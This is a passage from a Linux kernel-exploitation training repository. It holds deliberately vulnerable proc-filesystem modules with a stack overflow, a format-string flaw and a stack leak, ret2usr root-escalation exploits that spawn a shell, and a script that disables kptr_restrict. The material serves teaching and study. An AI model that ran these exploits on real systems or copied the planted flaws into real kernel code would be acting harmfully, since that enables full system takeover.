commit_creds(prepare_kernel_cred(0)); 41 | asm( "swapgs\n" 42 | "mov $tf,%rsp\n" 43 | "iretq\n" 44 | ); 45 | } 46 | 47 | int main(){ 48 | char buf[5]="a"; 49 | char out[100]; 50 | char canary[8]; 51 | int fd=open("/proc/canary",O_RDWR); 52 | write(fd,buf,5); 53 | read(fd,out,40); 54 | int i; 55 | int j = 0; 56 | for(i = 16; i < 24; i++) { 57 | canary[j] = out[i]; 58 | j++; 59 | } 60 | char buffer[40]={0}; 61 | memset(buffer,'B',40); 62 | *(void **)(buf + 24) = &payload; 63 | prepare_tf(); 64 | 65 | for(i=0; i < 8; i++) { 66 | buffer[3+i] = canary[i]; 67 | } 68 | int fd2=open("/proc/canary",O_RDWR); 69 | write(fd2,buf,40); 70 | return 0; 71 | } 72 | -------------------------------------------------------------------------------- /Lab6/assignment/modules/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += canary.o 3 | 4 | else 5 | KERNEL_SOURCE := ../../../kernel_source/linux-4.18.16/ 6 | PWD := $(shell pwd) 7 | default: 8 | # Compile for the same architecture as the host machine 9 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 10 | arm: 11 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 12 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 13 | clean: 14 | # Cleans the Directory - removes all the files that were created 15 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 16 | endif 17 | -------------------------------------------------------------------------------- /Lab6/assignment/modules/canary.c: -------------------------------------------------------------------------------- 1 | /** 2 | * canary.c - A module to demostrate stack smashing with canary 3 | * 4 | */ 5 | #include /* Specifically, a module */ 6 | #include /* We're doing kernel work */ 7 | #include /* Necessary because we use the proc fs */ 8 | #include /* for copy_from_user */ 9 | 10 | #define PROCFS_MAX_SIZE 1024 11 | #define PROCFS_NAME "canary" 12 | 13 | MODULE_LICENSE("GPL"); 14 | 15 | static struct proc_dir_entry *Our_Proc_File; 16 | static char procfs_buffer[PROCFS_MAX_SIZE]; 17 | static unsigned long procfs_buffer_size = 0; 18 | 19 | static 20 | ssize_t 21 | procfile_read(struct file *file, 22 | char *buffer, 23 | size_t buffer_length, loff_t *offset) 24 | { 25 | static int flag = 0; 26 | char localbuf[16]; //token 27 | int size = (size_t)procfs_buffer[0]; 28 | memset(localbuf, 0, 16); 29 | if(flag) { 30 | printk(KERN_INFO "read : END\n"); 31 | flag = 0; 32 | return 0; 33 | } 34 | printk(KERN_INFO "read (/proc/%s) : called\n",PROCFS_NAME); 35 | if(size > 128) { 36 | dump_stack(); 37 | printk(KERN_INFO "Error"); 38 | return 0; 39 | } 40 | memcpy(&localbuf, procfs_buffer+1, sizeof localbuf); 41 | flag = 1; 42 | memcpy(buffer,localbuf,size); 43 | return size; 44 | } 45 | 46 | static 47 | ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 48 | { 49 | char localbuf[16]; 50 | memset(localbuf, 0, 16); 51 | memset(procfs_buffer, 0, 16); 52 | /* get buffer size */ 53 | procfs_buffer_size = count; 54 | /* write data to the buffer */ 55 | if ( copy_from_user(procfs_buffer, buffer, procfs_buffer_size) ) { 56 | return -EFAULT; 57 | } 58 | memcpy(localbuf,procfs_buffer,procfs_buffer_size); 59 | printk(KERN_INFO "copied to buffer : %s", localbuf); 60 | return procfs_buffer_size; 61 | } 62 | 63 | static struct file_operations fops_struct = { 64 | .read = procfile_read, 65 | .write = procfile_write, 66 | }; 67 | 68 | int init_module() 69 | { 70 | /* create the /proc file */ 71 | Our_Proc_File = proc_create(PROCFS_NAME, 0666, NULL, &fops_struct); 72 | if (Our_Proc_File == NULL) { 73 | remove_proc_entry(PROCFS_NAME, NULL); 74 | printk(KERN_ALERT "Error: Could not initialize /proc/%s\n", 75 | PROCFS_NAME); 76 | return -ENOMEM; 77 | } 78 | printk(KERN_INFO "/proc/%s created\n", PROCFS_NAME); 79 | return 0; /* everything is ok */ 80 | } 81 | 82 | void cleanup_module() 83 | { 84 | remove_proc_entry(PROCFS_NAME, NULL); 85 | printk(KERN_INFO "/proc/%s removed\n", PROCFS_NAME); 86 | } 87 | -------------------------------------------------------------------------------- /Lab6/cmd.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # permission for all users to access /proc/kallsyms 4 | echo 0 > /proc/sys/kernel/kptr_restrict 5 | echo 1 > /proc/sys/kernel/perf_event_paranoid 6 | 7 | # inserting kernel module 8 | insmod /root/smash.ko 9 | 10 | # create a guest user 11 | cd / 12 | mkdir home 13 | adduser -D guest 14 | # setting the passwd of guest as "guest" 15 | sed -i 's/guest:.*:17852:0:99999:7:::/guest:$1$QgQXuAOl$.Fv9ijhDyYuIF7VmrJbc30:17852:0:99999:7:::/g' /etc/shadow 16 | su guest 17 | 18 | 19 | -------------------------------------------------------------------------------- /Lab6/exploit/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | struct trap_frame{ 9 | void *rip; 10 | uint64_t cs; 11 | uint64_t rflags; 12 | void *rsp; 13 | uint64_t ss; 14 | }; 15 | struct trap_frame tf; 16 | 17 | void launch_shell() { 18 | getuid(); 19 | system("/bin/sh"); 20 | } 21 | 22 | void prepare_tf(){ 23 | asm( "movq %%cs, %0\n" 24 | "movq %%ss, %1\n" 25 | "movq %%rsp, %3\n" 26 | "pushfq\n" 27 | "popq %2\n" 28 | : "=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp) :: "memory" 29 | ); 30 | tf.rip = &launch_shell; 31 | tf.rsp -= 1024; 32 | } 33 | 34 | #define KERNCALL __attribute__((regparm(3))) 35 | void (*commit_creds)(void *) KERNCALL = (void *)0xffffffff81079680; 36 | void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xffffffff810799b0; 37 | 38 | void payload(void){ 39 | commit_creds(prepare_kernel_cred(0)); 40 | asm( "swapgs\n" 41 | "mov $tf,%rsp\n" 42 | "iretq\n" 43 | ); 44 | } 45 | 46 | int main(){ 47 | char buf[16]={0}; 48 | memset(buf,'A',16); 49 | *(void **)(buf+8) = &payload; 50 | prepare_tf(); 51 | 52 | int fd=open("/proc/smash",O_WRONLY); 53 | write(fd,buf,sizeof(buf)); 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /Lab6/modules/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += smash.o 3 | 4 | else 5 | KERNEL_SOURCE := ../../kernel_source/linux-4.18.16/ 6 | ccflags-y := -fno-stack-protector -fno-stack-protector-all 7 | PWD := $(shell pwd) 8 | default: 9 | # Compile for the same architecture as the host machine 10 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 11 | arm: 12 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 13 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 14 | clean: 15 | # Cleans the Directory - removes all the files that were created 16 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 17 | endif 18 | -------------------------------------------------------------------------------- /Lab6/modules/smash.c: -------------------------------------------------------------------------------- 1 | /** 2 | * smash.c - A module to demostrate stack smashing 3 | * 4 | */ 5 | #include /* Specifically, a module */ 6 | #include /* We're doing kernel work */ 7 | #include /* Necessary because we use the proc fs */ 8 | #include /* for copy_from_user */ 9 | 10 | #define PROCFS_MAX_SIZE 1024 11 | #define PROCFS_NAME "smash" 12 | 13 | MODULE_LICENSE("GPL"); 14 | 15 | static struct proc_dir_entry *Our_Proc_File; 16 | static char procfs_buffer[PROCFS_MAX_SIZE]; 17 | static unsigned long procfs_buffer_size = 0; 18 | 19 | static 20 | ssize_t 21 | procfile_read(struct file *file, 22 | char *buffer, 23 | size_t buffer_length, loff_t *offset) 24 | { 25 | static int flag = 0; 26 | if(flag) { 27 | printk(KERN_INFO "read : END\n"); 28 | flag = 0; 29 | return 0; 30 | } 31 | printk(KERN_INFO "read (/proc/%s) : called\n",PROCFS_NAME); 32 | flag = 1; 33 | return sprintf(buffer, procfs_buffer); 34 | } 35 | 36 | static 37 | ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 38 | { 39 | char localbuf[8]; 40 | /* get buffer size */ 41 | procfs_buffer_size = count; 42 | /* write data to the buffer */ 43 | if ( copy_from_user(procfs_buffer, buffer, procfs_buffer_size) ) { 44 | return -EFAULT; 45 | } 46 | memcpy(localbuf,procfs_buffer,procfs_buffer_size); 47 | printk(KERN_INFO "copied to buffer : %s", localbuf); 48 | return procfs_buffer_size; 49 | } 50 | 51 | static struct file_operations fops_struct = { 52 | .read = procfile_read, 53 | .write = procfile_write, 54 | }; 55 | 56 | int init_module() 57 | { 58 | /* create the /proc file */ 59 | Our_Proc_File = proc_create(PROCFS_NAME, 0666, NULL, &fops_struct); 60 | if (Our_Proc_File == NULL) { 61 | remove_proc_entry(PROCFS_NAME, NULL); 62 | printk(KERN_ALERT "Error: Could not initialize /proc/%s\n", 63 | PROCFS_NAME); 64 | return -ENOMEM; 65 | } 66 | printk(KERN_INFO "/proc/%s created\n", PROCFS_NAME); 67 | return 0; /* everything is ok */ 68 | } 69 | 70 | void cleanup_module() 71 | { 72 | remove_proc_entry(PROCFS_NAME, NULL); 73 | printk(KERN_INFO "/proc/%s removed\n", PROCFS_NAME); 74 | } 75 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HowToKernel 2 | 3 | This repository is hosted with the aim of having a straightforward way to get started with kernel exploitaion in Linux OS. 4 | 5 | ## Setup the environment 6 | 7 | - Clone the repository to your system `git clone https://github.com/R3x/How2Kernel ~/How2Kernel`. 8 | - Go to the folder containing the setup `cd ~/How2kernel` 9 | - run setup.sh to setup the Lab and testing environment 10 | - In case you want to run the modules in your own system `./setup.sh -l` 11 | - To build a virtual environment with QEMU `./setup.sh -v `. 12 | - Start Hacking the kernel !!! 13 | 14 | #### Note 15 | * Make sure there are no spaces in the path to the directory that you have cloned. This will cause errors while building. 16 | * Architectures supported currently `arm` for Aarch 64 architecture and `x86` for amd64 architecture. 17 | * Labs 1 - 3 focus only on developing kernel modules. This is done since we feel that it helps in getting a better idea of the kernel space. We recommend that you don't skip that part. 18 | 19 | ## Labs 20 | 21 | |Lab No|Topic|Short Description| 22 | |:-:|:-:|:-:| 23 | |[Lab 1](Lab1/)|Hello world|Build and insert your 1st kernel module| 24 | |[Lab 2](Lab2/)|Playing with Devices|Have fun with device| 25 | |[Lab 3](Lab3/)|Proc filesytem fun|Build your way upto to a keylogger| 26 | |[Lab 4](Lab4/)|Baby Kernel|Find your first kernel primitives| 27 | |[Lab 5](Lab5/)|Null pointers|Exploit the null pointer derference bug and look at mitigations| 28 | |[Lab_6](Lab6/)|Stack Smashing|Exploit a basic stack overflow bug| 29 | |[Lab_7](Lab7/)|Rop Chaining|Create a ROP chain to bypass mitigation techniques| 30 | 31 | 32 | ## Takeaways 33 | 34 | ### Ksploit Library (_Work in progress_) 35 | 36 | A library which can help you in writing exploits for kernels. We have added a couple of features that might come in handy. 37 | 38 | ### CTF Challenges 39 | 40 | We have cherry picked CTF challenges across the years and have setup environments for them so that people can try them out without the hassle of setting up the proper environment. 41 | 42 | Moreover we have our own writeups written with the help of ksploit lib. 43 | 44 | ### Docs 45 | 46 | Our docs contain a lot of facts that might come in handy if you are trying to write a kernel exploit. 47 | 48 | - Setups - Documentation on how to setup kernel images for the kernel of your choice. 49 | - Debugging - Documentation on how to setup a proper debugging channel for the kernel. Tips and tricks that might help you during debugging. 50 | - Primitives - Documentation on the various attack vectors and ideas that might come in handy during exploits. 51 | 52 | ### Images 53 | 54 | There are a couple of precomplied images stored in our servers which can be used with qemu. Say Goodbye to the hassle of compiling your own images! 55 | 56 | ### Qemu Scripts 57 | 58 | There are some example scripts made for debugging the kernel with qemu. 59 | 60 | ## Contributors 61 | 62 | This repository is maintained by 63 | 64 | - Akul Pillai (k4iz3n) 65 | - Vishnu Dev T J (n1ght_f0x) 66 | - Mahesh Hari (slashbash) 67 | - Siddharth Muralee (R3x) 68 | 69 | from team [bi0s](https://bi0s.in) 70 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | # TODO 2 | - Kernel Sources Compilation 3 | - For Modules Only 4 | - For Images 5 | - Add and check setup.sh with support for multiple architecture 6 | - amd64 7 | - i386 8 | - aarch64 9 | - Add prebuilt kernel images for 10 | - amd64 11 | - i386 12 | - aarch64 13 | - Update Lab 1 - 3 README.md with the required reading links 14 | - Modify comments/code for all the modules - to make them unique 15 | - Lab 1 - 3 16 | - Compilation scripts ( compile.sh for multiple architectures ) 17 | - Copy kernel modules to vm ( copy.sh ) 18 | - Add Lab 4 - Exploiting Null pointer dereference 19 | - Setup a shell script to create the environment 20 | - Add buggy modules 21 | - Add exploit scripts 22 | - Check exploits 23 | - Run exploit with ksploit 24 | - Add some intro to ksploit-lib and its uses 25 | -------------------------------------------------------------------------------- /docs/build_rootfs.md: -------------------------------------------------------------------------------- 1 | ## Creating a root filesystem with buildroot 2 | 3 | Download latest buildroot image from https://buildroot.org/download.html 4 | 5 | After extracting the downloaded file. 6 | 7 | ``` 8 | cd buildroot-2018.02.7 9 | ``` 10 | As we are building a rootfs image for aarch64 you van find the .config file here. You always have the option of configuring it yourselves using the menuconfig option. 11 | ``` 12 | $ make menuconfig 13 | ``` 14 | #### Check these option in the GUI 15 | 16 | Target option --> Target acrhitecture --> (X) AArch64 (little endian) 17 | 18 | Toolchain --> Toolchain type --> (X) External toolchain 19 | 20 | Toolchain --> Toolchain --> (X) Linaro AArch64 2016.02 21 | 22 | System Configuration --> "Set a Root password" 23 | 24 | System Configuration --> Run a getty (login prompt) after boot --> TTY port --> "set to TTYAMA0" 25 | 26 | Target Packages --> (X) Show packages that are also provided by busybox 27 | 28 | Target Packages --> Debugging --> (X) strace 29 | 30 | Target Packages --> Text editor --> (X) "your choice" 31 | 32 | Filesystem image --> (x) cpio root filesystem 33 | 34 | #### New .config file will be created. 35 | 36 | Now to build the image 37 | ``` 38 | $ make 39 | ``` 40 | 41 | Once the build is complete the image will be in output/images 42 | 43 | ### We have successfully created a cpio root filesystem with buildroot 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /docs/module.md: -------------------------------------------------------------------------------- 1 | #### What is a kernel module ? 2 | 3 | A kernel module is a C program that can be loaded and unloaded (ie.,inserted or removed) from the kernel itself. 4 | 5 | #### Why are modules used ? 6 | 7 | A module is used to extend the functionality of the kernel. When a new device is connected to the computer, for an interaction to take place, a module or C program is loaded into the kernel to communicate with the device. This is called a driver module. 8 | 9 | #### Why are kernel modules made loadable ? 10 | 11 | Modules are loadable so that the kernel can be extended without having to recomiple and reboot it. Imagine having to restart your system everytime you connect to a device !!! 12 | 13 | The informatiion on all the modules loaded into the kernel can be found in /proc/modules. 14 | 15 | #### How are modules loaded into the kernel ? 16 | Modules are loaded only when they are required by the kernel. The kernel achieves this feature with the kmod daemon. The kmod daemon executes modprobe to load the required modules. The arguments to modprobe can be pased in two ways: 17 | * A module name like hello_world. 18 | * An identifier (alias) 19 | 20 | The aliases are found in /etc/modprobe.conf or /etc/modprobe.d 21 | 22 | ## Basic Commands 23 | 24 | #### lsmod 25 | Lists all the modules currently loaded into the kernel. This data is fetched from /proc/modules 26 | 27 | #### insmod 28 | Inserts a module that is passed as argument, into the kernel. 29 | 30 | #### rmmod 31 | Remove or unload a module passed as argument, from the kernel. 32 | 33 | 34 | #### modprobe 35 | Inserts a module into the kernel. Smarter than insmod, as modprobe checks for any prequisite modules that has to be loaded before the requested module to avoid any dependency issues. Modules to be preloaded are found in /lib/modules/version/modules.dep/ . 36 | 37 | #### depmod 38 | Generates the modules.dep file 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /images/README.md: -------------------------------------------------------------------------------- 1 | # Images 2 | 3 | The images are here are precompiled and ready to use. You can use the description to find your pick of the above. 4 | -------------------------------------------------------------------------------- /images/arm64/arm64-Image.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R3x/How2Kernel/bf4022053e118bade6b9e2efe6de60612092fb27/images/arm64/arm64-Image.tar.gz -------------------------------------------------------------------------------- /images/arm64/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/bin/qemu-system-aarch64 \ 4 | -machine virt \ 5 | -cpu cortex-a57 \ 6 | -machine type=virt \ 7 | -nographic -smp 1 \ 8 | -m 2048 \ 9 | -kernel ./Image \ 10 | --append "console=ttyAMA0" \ 11 | -net user,hostfwd=tcp::5022-:22 \ 12 | -net nic \ 13 | $1 $2 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | usage() 4 | { 5 | echo "Usage : $0 [ OPTIONS ]" 6 | echo "Options : " 7 | echo " -l : Setup Localy " 8 | echo " -v x86/arm : Setup corresponding virtual images" 9 | } 10 | 11 | if [ $# -eq 0 ] 12 | then 13 | usage 14 | exit 15 | fi 16 | 17 | while getopts ":lv:" opt ;do 18 | case "${opt}" in 19 | l) 20 | echo -e "\n---- Installing Kernel Headers -----\n\n" 21 | sudo apt update && sudo apt install -y linux-headers-$(uname -r) 22 | ;; 23 | v) 24 | if [ ${OPTARG} != "x86" -a ${OPTARG} != "arm" ]; then 25 | echo -e "Invalid Architecture Specified \n\n" 26 | usage 27 | exit 28 | fi 29 | 30 | # Install qemu for running the kernel Images 31 | echo -e "\n---- Installing QEMU -----\n\n" 32 | sudo apt update && sudo apt-get install -y qemu qemu-user qemu-user-static 33 | 34 | echo -e "\n---- Installing Kernel Sources -----\n\n" 35 | mkdir kernel_source 36 | cd kernel_source 37 | wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.18.16.tar.xz 38 | tar -xvf linux-4.18.16.tar.xz 39 | cd ../ 40 | 41 | if [ ${OPTARG} = "arm" ] ;then 42 | # GDB multiarch for Debugging 43 | sudo apt-get install -y gdb-multiarch 44 | # Cross Compiler for arm 45 | sudo apt-get install -y gcc-arm-linux-gnueabihf libc6-dev-armhf-cross libelf-dev gcc-aarch64-linux-gnu 46 | 47 | echo -e "\n---- Unpacking Kernel Image ----\n\n" 48 | tar -xvzf ./images/arm64/arm64-Image.tar.gz -C ./images/arm64/ 49 | 50 | echo -e "\n---- Preparing Kernel for Module Compilation ----\n\n" 51 | cd ./kernel_source/linux-4.18.16/ 52 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- make defconfig 53 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- make modules_prepare 54 | cd ../../ 55 | fi 56 | 57 | if [ ${OPTARG} = "x86" ]; then 58 | sudo apt-get install -y libssl-dev 59 | echo -e "Downloading Virtual image\n" 60 | cd ./images 61 | wget -c http://www.akulpillai.com/how2kernel/x86_64.tar.gz 62 | tar xvf x86_64.tar.gz 63 | cd ../ 64 | 65 | echo "Building for x86" 66 | echo -e "\n---- Preparing Kernel for Module Compilation ----\n\n" 67 | sudo apt install bison 68 | sudo apt install flex 69 | sudo apt install libelf-dev 70 | cd ./kernel_source/linux-4.18.16/ 71 | make x86_64_defconfig 72 | make modules_prepare 73 | cd ../../ 74 | 75 | fi 76 | ;; 77 | *) 78 | echo "Invalid Option " 79 | usage 80 | ;; 81 | esac 82 | done 83 | --------------------------------------------------------------------------------